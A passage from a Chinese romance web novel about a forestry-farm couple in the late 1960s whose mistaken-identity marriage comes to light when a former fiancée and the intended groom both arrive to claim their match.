而严雪那个真正的结婚对象就像悬在他头上的一把刀,不知什么时候就会落下来,又会造成怎样的伤害。
回到金川林场的时候,正好碰到家属队下工,祁放下意识看过去,却没在人群中看到严雪的身影。
39 露馅
一听人喊qi放,齐放下意识便转回了头。
但他看了一圈,也没看到有人看他,猜测应该是自己听错了,挠挠头又转了回去。
另一边,祁放却是一听就蹙起了眉。
他虽然不接触,但架不住记性好,林场年轻姑娘的声音几乎都有印象。
可这道又甜又细的,他没印象,再看脸,也是全然陌生的一张。
年轻姑娘看着比严雪大一点,大眼睛白皮肤,梳两条麻花辫,穿一身绿军装,左边胳膊还戴了个红袖章。她应该是风尘仆仆才赶过来,饶是再仔细打理,衣服上仍然有些褶皱,怀里还紧紧抱着一个包。
祁放背着人没动,声音也是冷淡的,“有事?”
全然陌生的语气,全然陌生的口吻,话里甚至还带着点不耐,让刚露出激动的年轻姑娘滞了下,“你不记得我了?”
他该记得她吗?
祁放眉心蹙了蹙,没说话。
倒是严雪从他背上探出头,瞧了瞧那姑娘,“你认识?”
“不认识。”祁放答得斩钉截铁,甚至还冷着声又补充了一句:“我不认识任何女同志。”
这话说的,好像她就认识很多男同志一样,严雪推推他,“你把我放下来吧,说不定人家真找你有事。”
祁放没动,就那么冷淡着一张俊脸看来人,“有事就说,没事我们走了。”
和当初严雪在山上见到时一个死德行,区别就是严雪从他对面那个变成了他背上那个。
不过对面那姑娘脾气也是好,祁放这么不留情面,她竟然也没露出什么难堪。
严大小姐当然不会露出什么难堪,因为比这更难堪的事她已经在梦里那本书中经历过了。
当时她父亲被查,丈夫被查,过得好好的一个家突然风雨飘摇,她多方打探,才得知下手的竟然是祁放。
那时她都快忘了还有这么一个人,忘了在动乱刚开始那几年,她曾退过一门娃娃亲。
说起来她对对方早就没有印象了,只依稀记得好像是个挺无趣的人,不爱说话,只盯着他那些乱七八糟的东西摆弄。后来十四岁就考上了大学,很是为人称道了一阵,父母还让她给他写过一封信,他回得也很没意思。
谁能想到,就这样一个人,在山沟沟里待了十几年,还能爬回城市,一手建立了名震全国的常青重工。
谁能想到,他一个私企生产的重工程机械,竟然能压着所有国企打,不论是起重机还是拖拉机。
谁又能想到,当初一场小小的退婚,竟然会给她家里带来灭顶之灾……
严大小姐一生没吃过苦,怒过,也怨恨过,最终还是低下头,去求那个只见过一面的人高抬贵手。
她做足了心里准备,甚至化了妆,想着只要能救出父亲和丈夫,他想折磨她,羞辱她,让她委身于他她也能接受。
男人当时已经很消瘦了,还在咳,却不知哪里来的一股大力,将正要把手搭在他肩上的她掀翻在地。
他看着她,就像在看什么令人作呕的脏东西,“别碰我。”
那一瞬,她比现在难堪百倍,当时就崩溃了,大哭着问他怎样才能放过她的家人,她知道自己错了,他们都知道自己错了。
男人只是望着她,即使在病中依旧过分好看的桃花眼里露出讥讽,“你以为真是为了那点事?你怎么不去问问你爸做了什么?问问你丈夫做了什么?”
她不记得自己还有没有听到别的,只记得对方叫来保安把自己丢了出去,再睁眼,已经回到了一切还未开始的1969年。
她和祁放的婚已经退了,她还经人介绍认识了后来的丈夫吴行德,两人相处三个月,已经准备订婚,和梦里的走向一模一样。
而梦里他们一家不过是什么书里的炮灰,她也不是很懂,但应该都没什么好下场,她却是知道的。
那一切都太过真实,她当时就吓出了一身冷汗,赶在订婚之前从家里跑了出来。
如果一切的起源都是那场退婚,那她依约嫁给祁放好了,这样父亲就不会出事,丈夫也不会出事。
上辈子两人一直没孩子,丈夫也始终待她如初,既然注定没有好结果,还不如放对方一条生路,别连累了对方。
正好祁放也一生未娶,她主动点,伏低做小点,应该能让他忘了之前被退婚的仇怨……
唯一没想到的就是对方背上这个姑娘了,严大小姐着实想不到,未来冷心冷情甚至堪称冷血的工业圈大佬会如此小心地背着个姑娘。
而且刚她来的时候没听错的话,这两人应该是在吵架吧?
那姑娘那么对他说话,他都能忍下来的吗?
明明好像脸都快气青了……
严大小姐很怀疑自己认错了人,但这张脸的确和上辈子那张一模一样,只是更年轻,更英俊,也更有人味儿。
她迟疑了下,还是望着严雪问:“她是谁?”
真是莫名其妙,祁放背着人转身便走。
他背上的严雪还不老实,回头又看了对方一眼,“你走什么啊?不会是你在哪惹的桃花债吧?”
“我有你一个债还不够?”他忍不住呛声。
就这一个,都够他头疼了,他现在都还不知道要怎么解决悬在头上那把刀。
严雪却是真心觉得疑惑,“不然人家干嘛来找你,还张嘴就问你不记得她了。”
一般问你还记得大明湖畔的某某某的,要么是找情郎,要么是找爹。
祁放这个年龄,肯定没人来找他认爹,倒是人长得还挺容易招桃花的。
严雪箍了下男人的脖子,“那封信不会就是这姑娘写的吧?我说你这几天怎么不对劲,又是问我钱又是说自己不好,还失眠……”
“不是。”祁放那脸眼见着就比刚刚更臭了。
偏偏他还没法跟严雪解释那信到底是谁写的,他又为什么会说自己不好,为什么失眠。
就在这时,被丢下的严大小姐也终于回过了神,“祁放你忘了我们两家的婚约了吗?我是来找你结婚的!”
霎时风停,祁放脚步一顿,连心都跟着沉下去。
竟然是真的严家大小姐找来了。
她不是已经又要订婚了吗?还来找他干什么?
比心更沉的,还有背上的严雪,他都不知道自己该不该庆幸严雪此刻看不到他脸上的表情。
但严雪已经回过了头,“你说你跟他有婚约?”带着不可置信的,圈住他脖子的手甚至都松了松。
他还在想要怎么解释,严大小姐已经毫不避讳道:“对啊,娃娃亲,从小定的。”
严雪沉默了,但在这个时候沉默,显然不是什么好事。
祁放只能闭了闭眼,背着人转了个方向,“回去说。”
回去说,回去这事儿他也没法说啊。
祁放这些天一直在找严雪那个结婚对象,防着严雪那边露馅,却没想到先露馅的竟然是自己这边。
一路上,他都面沉如水,两个严雪各有心思,也都没有吱声。
到了郭家院子,迎面还碰上了郭大娘。
老太太一看到祁放背上的严雪就“哎哟”了一声,“不是脚崴了吗?咋又出去了?”
严雪向来能掩藏情绪,也没露出异样,笑着和她寒暄:“有点事出去了一趟。”
郭大娘已经看到了严大小姐,还以为她说的有点事是出去接人了,“家里来亲戚了?”
“我是来……”严大小姐刚要接话,就被祁放冷冷扫了一眼,顿时又把话咽了回去。
因为那个梦,她对这个自己曾经的未婚夫始终有些怕,虽然他现在很年轻,很英俊,身上还没有后来那种阴鸷的病态。
但真走到那一间半土屋前,她还是忍不住说了句:“你就住这啊?”
看吧,这才是真正的严家大小姐该有的反应。
哪像严雪,不仅一点没嫌弃,还比他混得更如鱼得水。
祁放没说话,严大小姐看看他的脸色,也就住了嘴,抱着自己的包迈了进去。
祁放正要也跟进去,胳膊上被人拧了一把,接着是耳畔压低了的声音,“你自己有娃娃亲,还叫人给你介绍对象?”
沉默了一路,该来的还是来了,祁放竟然觉得这比她什么都不问更让人安心。
而且严雪这么问,显然是还没想到认错上去,他也就顿了顿,“早就退了。”
“早就退了?那她还来找你?”
严雪还是想不通,但退了至少比没退强,不然她总觉得自己像被正宫抓上门来的小三。
祁放也想不通,进门先把严雪放到炕上,又看了下她脚踝扭伤的情况,才终于望向来人,“咱们两家的婚约去年就解除了,你父亲亲自写信跟我要的订婚契书,别跟我说你不知道。”
严大小姐正偷偷打量这间小屋,闻言一下子卡住。
虽然来的时候就想到过会面对怎样的责问,她还是滞了下,才说:“对不起,这事儿是我家做得不地道,我替我父亲给你道歉。”
如果是以前,严家这么瞧不起他,拿家人威胁他,祁放或许还会有点在意,现在他却只想赶紧打发对方走。
“如果你来就是为了说这个,那我接受你的道歉,你可以走了。”
很平静的语气。
严大小姐却哪里能信他这话,能接受他上辈子也不会那么报复了,“我是说真的,我爸他就是一时糊涂,没有瞧不起你的意思,我也没有。我这次就是来跟你结婚的,介绍信虽然我没开到,但户口我偷出来了。”
怕他不信,还赶紧从自己带来的包里找出一张户口纸,“结婚证办不了,咱们可以先办婚礼,我爸迟早会想开的……”
“可我已经结婚了,”祁放打断了她。
见她大眼睛里露出怀疑,他平静地牵起严雪的手,“刚才没来得及介绍,这位是我爱人。”
背人还可以说是情势所迫,但牵手……
严大小姐视线落过去,震惊毫不掩饰,“结、结婚了?怎么可能?”
“我们是结婚了。”严雪声音就要比祁放温柔许多,“不管你们当初有什么纠葛,两家的婚都已经退了,他另外找对象结婚合情合理,你说是不是?”
“没有纠葛,我就见过她一面。”不等严大小姐开口,祁放沉声强调。
这也太不给对方面子了,年轻姑娘本就不怎么好的脸色眼见着更白。
严雪赶忙扯了一下男人,对严大小姐说:“你这么远来找他,是不是有什么事?”
两家婚都退了,还是女方主动退的,如果没有事,对方应该不会过来找祁放,尤其是事情还隔了这么久。
那双大眼睛亲和、包容,看得严大小姐竟然鼻子一酸,一直压在心底的委屈和惊慌差点翻涌上来。
严雪见了,更加笃定,“你要是有什么难处,可以和我们说。就算没了那层关系,能帮的我们也会尽量帮你,是吧祁放?”
她望向男人,祁放也就顺着她的话点了点头,“嗯。”
不管怎么样,先把人打发走再说,他这边已经够乱了,不需要再来一个人添乱。
严大小姐看看他,又看看严雪,眼里闪过怀疑、犹豫,最终统统变成了笃定,“没有,我就是来和祁放结婚的。”
她才不信祁放已经结婚了,哪怕他们牵着手,哪怕这屋里的墙上、柜子上还贴着喜字。
在那个梦里,祁放可是一直孤身一人,身边连个异性都没有,更没听说他结过婚。
他要是结过婚,还能对那么多年前被退婚的事耿耿于怀,一直蓄意报复?
更重要的是,她认得祁放这张脸,和她梦里几乎一模一样,这证明她的那个梦绝对是真的。
毕竟她只在小时候和祁放见过一面,早不记得他长什么样了。
最终对那个梦的恐惧还是战胜了现实的冲击,严大小姐一点头,“对,我就是来找他结婚的。”
怕祁放是还记得之前那些事,她还努力朝祁放笑了笑,“我知道你生气,但祁伯伯和祁大哥的事我们是真没有办法。不过你不是被下放的,我可以回去求求我爸,让他把你弄回去。”
如果道歉不行,加上别的条件总行了吧?祁放应该也不想真在这山沟沟里待上十几年……
严大小姐心里想,没想到话落,率先开口的竟然是严雪:“你等一下。”
严雪终于觉察出哪里不对了,“你刚说祁伯伯和祁大哥?”
祁放一见严雪这反应,就知道严大小姐一定有哪里说露馅了,想阻止却已经来不及。
严大小姐完全没注意到他的脸色,“对啊,他爸爸和他大哥,你不知道吗?”
当时严雪就转向了祁放,“你不是家里已经没人了吗?”
这让祁放怎么说?难道开口骗她,说自己之前怕她介意,没敢和她提?
万一她对她那个结婚对象,知道得比他以为的还要多呢?
果然严雪不是那么好糊弄的,紧接着就问严大小姐:“你刚说可以叫你爸把他弄回去,弄回哪?”
“他想回燕京也行,想回研究所也行,都听他的。”
“所以你是燕京人?”严雪转脸看向了祁放。
明明语气很平静,既没有愤怒也不像质问,祁放还是下意识浑身一紧。
事已至此,再掩饰也没有用,他干脆实话实说:“我家是燕京的,但五岁以后,我大半时间都跟着我姥爷在江省生活。”
“你结婚的时候不请父母?”
“我母亲在我五岁时过世了,我父亲下放。”
“那我找你结婚,你就跟我结,还一下子叫出我的名字?”
严雪已经从炕上站了起来,明明在场三个人里就她个子最小,还是听得刚还冷眼对人的祁放气势都矮没了。
男人抿了抿唇,不得不低眸看她,“我以为你是她,她也叫严雪。”
这下不止严雪,严大小姐都愣了,“她也叫严雪?”
两人相互对视一眼,都觉不可思议。
其实不仅名字一样,两人还都是甜美的长相。只不过严大小姐甜美中带着骄矜,严雪更亲和,五官也更精致。
祁放之前一直以为此严雪就是彼严雪,真放在一起对比,才发现他其实对严大小姐已经没有印象了。
好一会儿,严大小姐率先指了指严雪,“你把她认成了我,所以你们是真结婚了?”
严雪没说话,祁放也没有说话。
但在这时候,没说话就是默认,严大小姐简直不可置信,“这你都能认错?你就不问问的吗?”
祁放沉默。
他当时是没多问,主要他以为严雪在这待不了几天就走了。
40 还给
这个时候找上门,还点名要找严雪,祁放想不多想都难。
何况对方还曾经亲口告诉他,自己有个相亲对象找不着了……
可严雪不是说她那个相亲对象一米八大个儿,长得特别好吗?这叫一米八?这叫长得好?
祁放抿唇定定注视着对方,有那么一瞬间很想回到当初,把那句“没事总会找到的”收回来。
齐放看到祁放,就只是纯然的意外了。
他还摸摸头,又朝后看了一眼,“严雪是住在这里,我没找错吧?”
祁放很想说他找错了,但里面严大小姐已经听到声音走了出来。
看到她,齐放下意识便以为这是自己要找的人,走过去,“你、你好。”
“你好。”严大小姐到底受过良好的教育,最基本的礼貌还是有的,就是显然不明所以。
被那双眼睛疑惑地望着,齐放忍不住又摸摸头,“那个,我是齐放,之前跟你相亲那个。我不是没碰到你人吗?你表姨也以为你丢了,听说你地址在金川,让我过来看看。”
话说得有点乱,但严大小姐还是听懂了,转头望严雪,“来找你的。”
齐放顺着她的视线望进里屋,一下子懵住了,“你、你是严雪?”
严雪也很想学着他问一句:“你竟然就是qi放?”
金川和小金川说错了也就罢了,说好的一米八大个儿呢?说好的长得特别好呢?
而且对方小时候的照片她见过,眼睛挺大的,怎么现在这么小了?难道他这些年就光长个子不长眼睛?
无语归无语,但人既然都找来了,严雪还是招呼对方进屋里来坐。
见她又站了起来,祁放过来把她扶回炕上,“你坐着。”自己去给齐放和严大小姐倒了杯水。
严大小姐这才想起来,好像自己从来到现在,祁放都没有给她口水喝的意思。
齐放更是在状况之外,祁放递给他搪瓷缸子的时候,还受宠若惊说了声:“谢谢。”被祁放莫名看了眼。
等祁放在严雪身边坐下,紧挨着严雪,他才反应过来,“她是嫁给你了?”
这不废话吗?当初几个人在山上的时候还介绍过。
但人家是正主,他才是白捡了一段姻缘的那个,祁放最后还是没做声。
齐放又看向严雪,“你、你本来是要来跟我相亲的?”
以前还多少有点掩藏,如今问出来,却是难掩的失魂落魄。
饶是他老实惯了,面对此种场景,也不禁又多问了句:“你怎么就嫁给他了?”
是啊,她怎么就嫁给祁放了?
严雪默了下,“那天秋芳姨本来想送我过来,但她家大强掉冰窟窿里了,没来成,走的时候跟我说你叫qi放,在金川林场。”
“啊?”齐放完全没想到会是这么弄岔的,“那他?”
这显然是在问祁放了,祁放也就接了口,“我姓祁,单耳刀祁,单名一个放。”
“你也叫qi放?”这下齐放有点转过来了。
单秋芳说错了地址,严雪自然也就找错了地方,而金川林场刚好有个名字发音跟他一样的……
一切阴差阳错,就好像上天安排的巧合,只有他是这个巧合里,阴差阳错丢了姑娘的。
齐放更加失魂落魄,甚至有些懊恼自己当初忙工作,没能请假去接人。
不,他应该多请几天假,直接回老家去相这个亲,那样就怎么都不会弄错了……
实在太沮丧,齐放低头揉了把脸,有些说不出话。
这时严大小姐终于听完了,小心看一眼祁放,“既然你都找过来了,那你俩换回来呗。”
“换回来?”齐放显然没有想到,很是震惊。
严大小姐小心翼翼点头,“正好我跟祁放定过亲,来找他结婚……”
“严雪。”祁放连声都沉了。
严雪和严大小姐全都看了过去,他一顿,又下意识抓住严雪的手,“我不是说你。”
场面实在有些混乱,比场面更混乱的,估计还有此时齐放的脑子。
他琢磨了好一会儿,也没琢磨明白这几个人的关系,倒是对面祁放又开了口,“当初认错了人,我很抱歉,但我已经跟严雪结婚了,并不打算离。”
祁放没敢去看身边的严雪,“听说你还给了严雪钱,多少?我现在就还给你。”
齐放现在哪还有心情在意这个,可最想要在意的,他现在又不知该怎么在意。
最后他只能站起身,揉揉发痛的头,“这个明天再说吧,明天我姑跟秋芳姨就来了。”
他现在也很乱,得回去好好想想。
“秋芳姨要来?”严雪抓住了话里的重点。
齐放点头,“我姑听说我没见到人,带我去找秋芳姨,她还以为你丢了,给你老家写了信。回信今天下午才到,说是你的地址在金川,当时已经没车了,我姑就先给场部打了电话,让我过来看看。”
这年代普通人家里哪有个电话,也不知道他姑是费了多大的劲,才找到的电话号,又给他打过来。
可惜人是找到了,却没有让他变轻松,反而心口跟堵了什么似的难受。
齐放垂下头,“我、我回去了。”
见他情绪不好,严雪正要起身,手一紧,被祁放死死握住。
她转头朝男人看去,祁放和她对视两秒,又放开,“你脚伤了,我去送。”
真送出去,其实又挺尴尬的。
一个阴差阳错丢了老婆,一个阴差阳错白捡个老婆,两人怎么都不像是能好好相处的关系。
这也就是齐放性子好,换了任何一个人,此刻恐怕都要跟祁放吵起来了,脾气差点的连严雪一起吵。
祁放沉默着走了会儿,“你那些钱……”
“明天再说吧,我现在不想想。”齐放话里还是能听出些情绪。
说完,他又觉得自己未免太冲了,人家也是认错了,又不是故意跟他抢老婆。
但让他说点好听的,他这心里又堵得慌实在说不出,最后不知从哪扯来一句:“那天在火车上谢谢你,人我真找到了。”
这回祁放也感觉堵得慌了,他甚至多看了对方一眼,怀疑这人是不是故意的。
但齐放一直垂着头,沉浸在自己的情绪里,人也憨憨的,怎么也不像懂得什么叫阴阳怪气。
这下也不用说话了,最后这一小段路两人完全是沉默着走完的,谁也不知道还能和对方说什么。
等祁放回去,面对严大小姐,那可就不一样了,“你现在就走,还是我去举报你没有介绍信,让人带你走?”
如果当初他对严雪就是这个态度,严雪就算没发现自己认错人,也不可能嫁给他。
严大小姐显然被他那张冷脸吓到了,一言不发起身开始收拾东西。
倒是严雪看她一个人跑了这么远,多问了句:“没有介绍信,你这一路怎么过来的?”
现在做什么可都要介绍信,没有介绍信寸步难行,更别提一跑上千里了。
面对她,严大小姐倒是没那么紧绷,揪了揪自己胳膊上的红袖标,“我有这个啊,有这个不管到哪都有人招待,车票也不用买。”
严雪这才想起来早期的确有这种事,当时甚至有不少小学生带着红袖标,跟着中学生一起走,去了全国不少地方。
对方戴着这个,的确不怕会有人查介绍信,一般人不怕被她查就不错了。
看来这姑娘看着一派天真,有种被家里保护得太好的不知事,但至少不是真傻,不像原书里那样。
原书里她一辈子都没离开别人给她编织的象牙塔,小时候是父母,长大了是丈夫,直到家里出事,她都不知道父亲和丈夫都做过什么。
她甚至不知道一直对她温柔体贴堪称百依百顺的丈夫,其实还在改革开放后赶了把时髦,在外面养了个小的。
她这边花的都是两人的工资,一直以为丈夫干干净净,对方却贪了不少项目资金,都放在小的那里,养他一双私生子女。
在她辛辛苦苦为父亲和丈夫奔波,甚至不惜牺牲自己的时候,那个小的早卷款跑路了,差点就真成功出了境……
书里的人物是书里的人物,当书里的人物活生生站在自己面前,严雪还是更多了几分柔软。
她本准备亲自送对方去招待所,但祁放显然不可能同意,更不可能自己去送,于是又成了祁放背着严雪,严大小姐自己抱着包在旁边走。
回来的时候天已经黑了,不远处几点灯火,影影绰绰照着归家的路。两人一个走,一个听,一时都选择了沉默。
好一会儿,严雪才出声问:“什么时候知道的?”
没问“你是不是早就知道了”,显然是笃定他已经知情,祁放心里一虚,但还是实话实说:“七天前。”
严雪一算就知道了,“你收到信那天?”
“嗯,信是我一个朋友的,我本来以为你在家里过得不好,想找人打听一下。”
那他是哪天寄的信严雪应该也知道了,在他问过她头伤的第二天。
而且他问起她头伤的契机……
严雪问男人:“你是不是根本没看到我头上有疤?”
“嗯。”
那他俩还真都够能脑补的,她以为他反应那么大是没能读成书,他以为她不知道他已经读完大学是失忆了。
亏他俩一天天鸡同鸭讲,讲了三个多月,竟然还都能对上,一直没露馅。
亏她还可惜他生错了时候,没能读个大学,结果人家大学早都毕业了。
严雪有些不想说话,前面背着她的祁放却开口了,“你家里就只剩下弟弟和奶奶了吗?”
既然不是严家大小姐,那么她一直不提起父母,估计是另有隐情。
果然严雪低声说:“我父母都过世了。”
这让祁放动作顿了顿,小心翼翼将她又往上托了下,才迈过门槛,“抱歉。”
“这有什么好抱歉的?”严雪说,“你又不是故意戳我伤疤。”
然而祁放还是动作轻轻的,将她放在了炕边,又蹲在她腿前,就那么仰了脸看她,“严雪。”
严雪个子小,平时看大多数人都是仰视,尤其是祁放,倒很少有这种俯视的角度。
她望着那双桃花眼,总觉得里面像有千言万语要倾诉,“怎么了?”
“我不离婚。”男人两只手都握上了她的,人就贴在她腿边,强调,“我也不换。”
他手上力道渐渐收紧,“让我怎么补偿他都可以,我们已经是夫妻了。”
这对他来说已经是很难得的情感外露,对书里那个孤身至死的大佬更是。
严雪也不知道他是受了什么刺激,今天张嘴闭嘴都是不离婚,好像谁说要跟他离婚似的。
她拽拽男人,“你别听你那个未婚妻瞎说,咱俩都结婚快四个月了,你当人家真愿意换回来啊?”
好好的头婚变二婚,人家又不是没条件,找不到愿意嫁给他的大姑娘。
祁放心里想的却是那可未必,但严雪既然这么说,他也就没提,只强调,“前未婚妻。”
不仅强调,他还皱了下眉,显然对那个真正的前未婚妻很不待见。
“你不会想报复人家吧?”严雪突然问。
祁放一脸你在开什么玩笑,“报复她?我犯得着吗?”
也是,本来在原书中,他针对的也不是前未婚妻,而是前未婚妻的丈夫,他那个忘恩负义的师兄。
对方一开始作为男主的导师出现,不过四十岁已经成为业内顶尖,又斯文谦和,一度很博人好感。倒是祁放就像个反派,不停给男主所在的国有工程机械集团找麻烦,早期甚至可以说是压着男主打。
但随着剧情发展,故事来了个大反转。
导师的真面目一点点被揭开,不仅有当年的事,还挪用公款,将学生的研究成果占为己有。
他甚至与境外资本勾结,差点把所在的国企集团变成境外控股,而祁放呢?
呕心沥血力挽狂澜,还没人领情,最终把自己所有的科研成果连同一手创办的常青重工全捐给了国家,不过四十出头便英年早逝……
严雪一把拉起男人,“你不是要去看大夫吗?明天就去。”
话题转得太快,祁放有些没回神。
严雪却是认真的,“正好明天要来人,你也没法去上班,干脆趁这功夫看了。”
书里那个大佬出场时就病歪歪的,恨不得走三步咳一口血,谁知道他还有没有别的毛病。
严雪可不想人到四十了还要守寡,更不想没到四十就整天守在床边照顾他。上辈子已经很累了,这辈子就让她歇歇吧。
可惜明天就去看是不可能的,因为严雪问了一圈,推荐的大夫不是在镇医院,就是在镇上,他们明天根本没那时间去。
倒是第二天一大早,祁放就满身寒露从外面回来,扛着根一米多长的木头。
严雪当时正翘着一只脚洗漱,早上睁开眼就没看到他人,“一大早的,你这是上哪儿去了?”
“你不是要找耳芽?”祁放将木头立起来给她看,“你看这是不是。”
他修长手指所指的地方还真有一块透明胶质,浅黄色的,依附于木头表面,不仔细看根本看不出来。
严雪也是有经验,又刻意去找,才在休息时的倒木上发现,祁放这又是从哪里找来的?
而且把带耳芽那一块弄回来就行了,他竟然把一整根都搬了回来……
她看看男人被打得湿透的裤腿,“你早上几点上的山?”
“没几点。”祁放避而不谈。
他其实天没亮就出发了,找到严雪他们昨天幼林抚育的那片林子时,天边才刚刚露出鱼肚白。
但这都没必要和严雪说,“昨天因为我的事,没去成,你看看今天还来不来得及。”
这严雪还能说什么,只能道:“来得及,一会儿吃完饭我就处理。”
黑木耳的耳芽在自然环境下想长成成耳,怎么也要半个月,但如果人工催熟,七天就够了。
首先温度得控制在10到25摄氏度之间,超过25度需要通风散热,低于10度则需要保温。
其次湿度要保持在70%到95%,湿度不够的话就需要向耳床浇水。
剩下还要注意通风,注意光照,严雪干脆在炕上搭了个架子,耳芽朝下就放在温度最适宜的地方。
41 猛兽
齐姑姑说是来讨个说法,但谁都知道她要的就是一个态度,还有侄子提前给出去的彩礼钱。
别说两边只是认错了,就是故意的,人已经嫁了,还过了快四个月,难道还真能把人家给拆了?
严雪是长得漂亮,可也没漂亮到能让人不顾一切,二婚也要抢回去的地步。
而且齐放这人一看就是个好性子,干不出那让人为难的事,齐姑姑率先发难,也是怕这个侄子太好说话,会吃亏。
所以祁放歉道了,钱给了,还给得诚意十足,大家都以为这事儿到此也就算结了。
谁也没想到最好说话的人他今天不好说话了,一张嘴就是不要钱只要人。
场面一静,祁放更是就那么低眸望着对面的人,没说话。
男人个子本来就高,虽说生着双桃花眼,气质却自带一股冷然,面无表情时压迫感扑面而来。
齐放其实是不太会和人起冲突的类型,但今天竟然硬顶着这种压迫,“人本来就是介绍给我的,彩礼我也给了,换、换回来咋了?”
话到最后,还是磕巴了下,与其说是在说服对方,更像是在给自己壮胆。
齐姑姑见情势不对,赶忙把侄子拉去了一边,“人家诚意挺足的,再说这事儿也不是人家故意,算了吧。”
显然是以为他这是气不过,故意找茬跟对方抬杠。
齐放抿抿嘴,没解释,眼神固执地依旧望着对方。
这里面可能也只有祁放知道点他的心思了,也因为知道,所以心情格外不爽,偏偏自己现在还是理亏的那一方。
两人在山上初见那一次大概怎么也不会想到,有一天情势会发展成这样。
还是严雪出来打了个圆场,“大家都先别激动,有事好好说。”
她眼神柔和望向对方,“这事主要还是怪我,我当时也不确定秋芳姨说没说错,准备先来金川林场找找,没有再去小金川。结果在金川就找到了,我当时也没有多问,倒是耽误你这么长时间,还让你跟着担心。”
年轻姑娘声音悦耳,话也说得好听,但显然她也认为他是老实人被欺负多了,触底反弹了。
齐放错开了她的视线,“我不用你道歉。”依旧没有要改口的意思。
严雪还想说什么,肩上被人按了按。
祁放可没有让媳妇出来道歉的习惯,直接望向对面的齐放,“首先我要声明一点,昨天那位和我是小时候家里给定的娃娃亲,只见过一面,且在我和严雪认识前就已经解除了,对方家里提的。”
不等齐放开口,像是知道齐放想要说什么,“她来找我并未经过我的同意,我甚至都没认出她就是我小时候见过一面的娃娃亲对象。”
这让齐放到了嘴边的话又咽了回去,刚刚支撑起他开口的那些,也悄无声息塌落一块。
他想了好半天,才终于望向严雪,“当时你说要带弟弟,我同意了。”
他不提,单秋芳差点忘了还有这事,也看向严雪。
只有祁放没看严雪,目光始终注视着齐放,“我们盖这新房的时候盖了三间,对面那间就是给继刚留的。”
这齐放就彻底没话说了,他也不知道自己除了占着理,还有哪里占优势。
但他又不甘心,本以为没什么可能的,却原来对方本来可以是自己的妻,谁又能甘心?
有时候老实人犯起倔,反而比其他人更难劝,九头牛都拉不回来。
祁放干脆看向齐姑姑,“这事儿的确是我们不对,但我跟严雪已经结婚快四个月了,感情稳定,并不想离婚,只能跟您和您侄子说声抱歉。”
齐姑姑本来还挺有气势的,但侄子突然来了这么一出,她也有些头疼,“你们这也是不知道。”
说了句场面话,很明显的息事宁人信号。
祁放也就将那五百块又递了过去,“不管怎么都要对您家说声抱歉,还有谢谢您家当初对严雪的帮助。”
严雪没有父母,只有一个弟弟似乎年龄也不大,那她要那一百块彩礼,还这么急着把自己嫁出去,肯定有别的难处。
齐家在这时候站出来,就是对严雪最大的帮助,没有齐家这门亲,他也碰不到严雪。
小伙子话说得真诚,虽然人看着冷淡了点,但长得好啊,齐姑姑只能又说了一句:“也是他们没缘分。”
这谁不得说一句没缘分,咋天底下就有这么多巧合,阴差阳错地错了过去?
话到此,这事也就算了了,没人再提齐放刚刚那话,也没人再问齐放。
齐放抬头看看对面的严雪,最终还是什么都没说,过去把那五百块钱接了。
但他紧接着就低头点出十张,将剩下的全还了回去,“我只要我那一百。”说完拉着齐姑姑就走。
齐姑姑完全没有想到,但见侄子闷着头走得飞快,也只能回头和几人说了句场面话。
等走出新房,又走出一段距离,齐放终于慢下来,她才拍着胸猛喘了两口,“那姑娘你是不是认识?”
虽说一开始想错了方向,但自己的侄子自己了解,齐放这么坚持,齐姑姑还是很快回过味来了。
果然齐放一听,脑袋垂得更低,就像只淋了雨的小狗。
齐姑姑有点心疼了,但又没别的办法,只能拍拍他,“谁知道这事儿咋就这么巧?稍微有一点对不上,都不能到今天。”
偏偏单秋芳就说错了地方,偏偏那小伙子就有个娃娃亲叫严雪,讲评书都没有这么讲的。
“算了吧,总不能真叫人姑娘离了婚跟你,到时候她可就是二婚了,说出去多不好听。”
齐姑姑还是了解自家侄子,这么一说,齐放立即抬起了头,“姑,这事儿你千万别跟别人说。”
都这个样子了,还担心影响了人家姑娘的名声。
齐姑姑叹了口气,“知道,你不说我也不可能跟别人说,以后还得给你找对象呢。”
整件事里最冤大头的就是他们家,说出去干嘛?让人当乐子听?
结果齐放听了,沉默半晌,竟然跟他说:“姑你能不能暂时别给我介绍对象?我还不想再找。”
“小齐这人还不赖,一点都不贪。”人走后,单秋芳忍不住说了句。
这句小qi显然不是在说小祁,祁放顿了顿,如常将剩下的钱全交给严雪,给单秋芳倒了杯水,“秋芳姨喝水。”
一看家里是严雪管钱,单秋芳心里先满意了三分,“小祁家是哪里的啊?今年多大?”
这回肯定是在说小祁了,祁放如实回答,“家是燕京的,今年二十二,比严雪大两年零两个月。”
“燕京的?知青?”
这单秋芳就要琢磨琢磨了,毕竟知青上山下乡不属于正式职工,工资通常不怎么高。
结果祁放说:“不是,我毕业早,毕业之后工作找在这边。”
“毕业之后来支援建设的啊?思想还挺进步。”
也还好单秋芳嘴没勤快,不然问一句:“高中毕业?”保准吓她一大跳。
但祁放是怎么到的林场,严雪也不太清楚,只知道是他老师怕连累他,一发现情势不对,立马让他走了。
单秋芳在,有些话她也不好问,只笑着道:“这回得让您上我那儿去住一宿了。”
“当初让你去我那,你不去,去了不就没这些事儿了?”
单秋芳嗔她一眼,见祁放似乎是发现了什么,出了院子,又压低声,“不过我看这个比原来那个好。”
“您也看脸的呀。”严雪忍不住笑了。
“不看脸,难道找个丑八怪过日子?那窝囊都把自己窝囊死了。”
单秋芳把外貌协会会员标榜得妥妥的,“我主要是看那个小齐太老实了,跟这样的老实人过日子,你虽然不用受气,但防不住他在外面受气啊。到时候你还得泼辣点,去给他出头,找个厉害的就不一样了。”
那祁放的确不用她给出头,刚看那本书的时候,严雪都怕他哪天觉得自己活不长了把主角团一起噶了。
说着话,祁放从外面回来,从神色看不出任何异常,严雪也就没问,起身对单秋芳道:“走吧,去我那。”
她那只受伤的脚还没落地,祁放已经把人背了起来,单秋芳看着,又满意了两分。
直到出了院门,严雪才看到在外面煞有其事假装路过的严大小姐,猜测祁放刚刚应该就是发现了对方。
这姑娘也不知道是不是还没死心,竟然打听到这边来了。但估计祁放之前没和她说好话,她并没有敢轻易靠近,也没敢出声。
到了严雪和祁放现在住的小屋,虽然没新盖的宽敞,但麻雀虽小五脏俱全,两人什么都不缺,家里也收拾得很干净。单秋芳只在看到炕上那块木头时问了问,听说是在生木耳也没再说,第二天就起早坐小火车走了。
“看你过得不错,我这心也就放回肚子里了。”临走她没让严雪送,“你脚不方便,让小祁送我就行。”
严雪还是把前些天新晒的蕨菜和猴腿儿都给她装了些,才让她离开。
